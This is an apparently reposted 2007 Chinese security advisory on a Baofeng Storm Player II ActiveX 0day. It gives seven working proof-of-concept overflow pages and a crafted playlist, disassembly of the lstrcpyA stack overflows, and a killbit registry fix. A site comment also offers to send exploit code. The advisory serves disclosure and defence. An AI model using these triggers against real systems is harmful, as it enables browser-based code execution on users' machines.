品牌Vista笔记本打折热卖 Vista系统下玩转赚钱软件 戴尔笔记本预装Vista 2999元 强势杀毒让Vista系统更安全 Win2008超越Vista之秘 360度保障你的Vista系统安全 Vista系统更快速的秘密 Vista下玩转远程教育系统 Vista下如何搞定网络安全 精美Vista壁纸一网全打尽 网络监控电脑的一举一动 上网防范各种恶意点击
当前位置:首页 >> Vista应用 >> Vista软件使用

Vista之家预警:暴风影音II 0day漏洞曝光及解决方案


2007年9月9日 编辑:Vista之家 - vista123.com 人气: 评论:6
史上最便宜的Windows Vista电脑
惠普戴尔超多品牌2008大礼包放送
160G超大硬盘,2G内存免费升级……

Windows Vista下最强的杀毒软件
屡获多次世界第一大奖的杀毒工具
保护你的Windows Vista系统不受侵犯

Windows Vista 系统全方位防护
Norton 360,诺顿360度全面系统保卫
把您的Vista 系统安全武装到牙齿

Windows Vista 装机必备软件大全
Google  

Vista之家www.vista123.com)预警:暴风影音II 0day漏洞曝光及解决方案

  2007年9月9日监测到一个高度危险暴风影音II(国内一款影音播放软件)漏洞被曝光,该漏洞发生在暴风影音II的一个activex控件上,当安装了暴风影音II的用户在浏览黑客 精心构造的包含恶意代码的网页后,会下载任意程序在用户系统上以当前用户上下文权限运行。同时在国内发现已有漏洞利用生成器开始流传,并在最近的挂马网站监测中发现有网站利用暴风影音II漏洞进行挂马。

  影响版本:暴风影音II

  漏洞的原因如下:
  暴风影音包含一个sparser.dll文件,此dll的一个导出函数在处理非法超长URL时发生栈溢出。黑客可以构造一个网页调用activex控 件中的rawParse函数,通过rawParse调用sparser.dll中存在问题的导出函数,从而导致溢出,执行任意代码。

URL属性、rawParse方法和advancedOpen方法溢出的poc分别如下:

[Vuln 1]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
 s += "\x0c";
}

storm.URL = s;
</script>
</body>
</html>

[Vuln 2]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 300) {
 s += "\x0c";
}

storm.rawParse(s);
</script>
</body>
</html>

[Vuln 3]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
 s += "\x0c";
}

storm.advancedOpen(s, "");
</script>
</body>
</html>

URL属性、rawParse方法和advancedOpen方法的溢出本质是同一个问题,他们都调用了sparser.dll导出的一个函数。这个函数从代码来看是处理路径和URL的,URL属性和rawParse方法传入的参数也都是URL。

.text:10004F40 ; int __stdcall sub_10004F40(LPCSTR lpMultiByteStr,int,int)
.text:10004F40 sub_10004F40 proc near ; DATA XREF: .rdata:1000F2D0o
.text:10004F40
.text:10004F40 var_14 = dword ptr -14h
.text:10004F40 var_10 = dword ptr -10h
.text:10004F40 var_C = dword ptr -0Ch
.text:10004F40 var_4 = dword ptr -4
.text:10004F40 lpMultiByteStr = dword ptr 4
.text:10004F40 arg_8 = dword ptr 0Ch
.text:10004F40
.text:10004F40 mov eax, large fs:0
.text:10004F46 push 0FFFFFFFFh
.text:10004F48 push offset loc_1000EB21
.text:10004F4D push eax
 ... ... ... ...
.text:1000506D call dword ptr [ecx+4]
.text:10005070 mov ecx, esi
.text:10005072 mov edx, [esp+24h+lpMultiByteStr]
.text:10005076 push edx ; lpMultiByteStr
.text:10005077 call sub_10002450

该函数第二、三个参数都是指向用户输入串拷贝的指针,最后一行进入另一个函数:

.text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr)
.text:10002450 sub_10002450 proc near ; CODE XREF: sub_10004F40+137p
.text:10002450
.text:10002450 var_12C = dword ptr -12Ch
.text:10002450 pszPath = byte ptr -120h
.text:10002450 var_1C = dword ptr -1Ch
.text:10002450 var_4 = dword ptr -4
.text:10002450 lpMultiByteStr = dword ptr 8
.text:10002450
.text:10002450 push ebp
.text:10002451 mov ebp, esp
.text: 10002453 sub esp, 120h ; 注意这里分配了120h即288字节大小的buffer
 ... ... ... ...
.text:100024ED mov edi, [ebp+lpMultiByteStr]
.text:100024F0 push edi ; pszPath
.text: 100024F1 call ds:PathIsURLA ; 这里判断是否为合法的URL
.text:100024F7 test eax, eax
.text: 100024F9 jz loc_10002582 ; 如果不是则跳转
 ... ... ... ...
.text:10002582 lea eax, [ebp+pszPath]
.text: 10002588 push edi ; 用户输入的串
.text:10002589 push eax
.text: 1000258A call ds:lstrcpyA ; 串拷贝造成栈溢出

通过以上分析发现,程序在处理非法超长(长度大于MAX_PATH)URL时发生栈溢出。这个函数是个导出函数,暴风影音其他地方如果调用这个函数的话,都可能有问题。于是通过在这个函数下断点发现暴风影音主程序处理URL时也是调用这个函数,同样也有问题。我们构造一个播放列表文件就可以触发:

[Vuln 4]

<?xml version="1.0" encoding="GB2312"?>
<PlayList>
 <item name="ph4nt0m" time="" path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
</PlayList>

但是问题还远远没有结束,在mps.dll中,还存在很明显的以下几个漏洞:

IsDVDPath方法:

037EAB8B 56 PUSH ESI
037EAB8C 57 PUSH EDI
037EAB8D 50 PUSH EAX ; src
037EAB8E 8D85 F0FEFFFF LEA EAX,DWORD PTR SS:[EBP-110] ; dest
037EAB94 68 30FE8003 PUSH mps.0380FE30 ; ASCII "%s\video_ts.ifo"
037EAB99 50 PUSH EAX
037EAB9A E8 F2FA0000 CALL mps.037FA691 ; copy

[Vuln 5]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
 s += "\x0c";
}

storm.isDVDPath(s);
</script>
</body>
</html>

backImage属性:

03FA6D5B . 8D9E 0C030000 LEA EBX,DWORD PTR DS:[ESI+30C] <===========
03FA6D84 . FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /String2
03FA6D87 . 8986 08030000 MOV DWORD PTR DS:[ESI+308],EAX ; |
03FA6D8D . 53 PUSH EBX ; |String1
03FA6D8E . FF15 5471FC03 CALL DWORD PTR DS:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA
03FA6D94 > 8B86 34040000 MOV EAX,DWORD PTR DS:[ESI+434]
03FA6D9A . 8D8E 34040000 LEA ECX,DWORD PTR DS:[ESI+434] <===========
03FA6DA0 . 894D 0C MOV DWORD PTR SS:[EBP+C],ECX
03FA6DA3 . FF50 04 CALL DWORD PTR DS:[EAX+4]

[Vuln 6]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
 s += "\x0c";
}

storm.backImage = s;
</script>
</body>
</html>

titleImage属性:

03EA68E7 . FF75 F0 PUSH DWORD PTR SS:[EBP-10] ; /String2
03EA68EA . 8903 MOV DWORD PTR DS:[EBX],EAX ; |
03EA68EC . 8D86 A4010000 LEA EAX,DWORD PTR DS:[ESI+1A4] ; |
03EA68F2 . 50 PUSH EAX ; |String1
03EA68F3 . FF15 5471EC03 CALL DWORD PTR DS:[<&KERNEL32.lstrcpy>; \lstrcpyA
03EA68F9 > 8B86 C8020000 MOV EAX,DWORD PTR DS:[ESI+2C8]
03EA68FF . 8D9E C8020000 LEA EBX,DWORD PTR DS:[ESI+2C8]
03EA6905 . 8BCB MOV ECX,EBX
03EA6907 . 895D 0C MOV DWORD PTR SS:[EBP+C],EBX
03EA690A . FF50 04 CALL DWORD PTR DS:[EAX+4]

[Vuln 7]

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
 s += "\x0c";
}

storm.titleImage = s;
</script>
</body>
</html>

暴风影音在前段时间宣布脱离了MPC内核,现在大部分代码都是自己写的。我们看到暴风影音在业务迅速发展,版本迅速更新的同时,带来的是对产品安全的忽视与侥幸心理。我以前一直感觉暴风影音会有问题,因为他包含了太多的dll,随便哪个文件格式出问题,就会导致严重漏洞。这些漏洞也许只是冰山的一角,继续挖掘下去,也许会发现更多的东西。快速发展型企业生存不容易,愿“暴风”一路走好。

  二、解决方案

  在暴风影音官方发布补丁之前不要使用暴风影音,或者使用临时解决方案,针对该控件漏洞的临时解决办法是对该com组建设置killbit,将下面内容保存为baofeng.reg文件,双击导入注册表:

------把下面几行文字保存成baofeng.reg,不含本行

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
"Compatibility Flags"=dword:00000400

------把上面几行文字保存成baofeng.reg,不含本行

影音播放类软件下载:http://www.vista123.com/vista/457.html
  
 Vista之家www.vista123.com),Windows Vista 爱好者之家

      
Vista之家网友 (58.213.13.*) 于 2008-4-3 11:33:17 发表下列评论:   [删除]
hao
Vista之家网友 (123.4.10.*) 于 2007-9-19 0:28:06 发表下列评论:   [删除]
谢谢!
Vista之家网友 (211.80.95.*) 于 2007-9-11 19:09:26 发表下列评论:   [删除]
MS那么大的公司都能让你中招,暴风算啥小不点
Vista之家 (218.56.69.*) 于 2007-9-10 12:03:30 发表下列评论:   [删除]
如果楼下的需要,可以发给你漏洞代码,现在网上已经有人做出专门的木马程序了。
Vista之家网友 (124.42.19.*) 于 2007-9-10 11:21:29 发表下列评论:   [删除]
那是他们的 文字链 广告模块,大惊小怪,暴风那么大的公司,能让你中招啊。
Vista之家网友 (221.231.44.*) 于 2007-9-10 7:14:51 发表下列评论:   [删除]
不用了
发表评论(最新评论将在5分钟内出现
昵称:
内容:
(按Control+Enter直接提交)   点击一下,Vista问题有问必答
Vista优化大师
闪游 - 最快最强最安全的网络浏览器
搜狗拼音输入法

Windows Vista 最好的木马间谍查杀软件
彻底保护你的电脑,防止Trojan(特洛伊木马)和病毒
防止黑客入侵您的Windows Vista系统

史上最便宜的Windows Vista笔记本大比拼
七天免费试用?免费升级内存硬盘?
更有超多礼物发送中,不抢白不抢

全方位、360度的保护你的 Windows Vista 系统
无忧上网,保护您的系统没有病毒
把您的 Windows Vista 系统安全武装到牙齿

戴尔(DELL)笔记本预装Windows Vista送现金200元
预装正版Windows Vista家庭高级版 享受玻璃特效
2008大礼包 硬盘内存显卡升级还折扣

Windows Vista 装机必备软件大全
压缩、备份、杀毒、优化、办公、美化、虚拟光驱等常用软件
Windows Vista操作系统软件安装一条龙

Google  

热门文章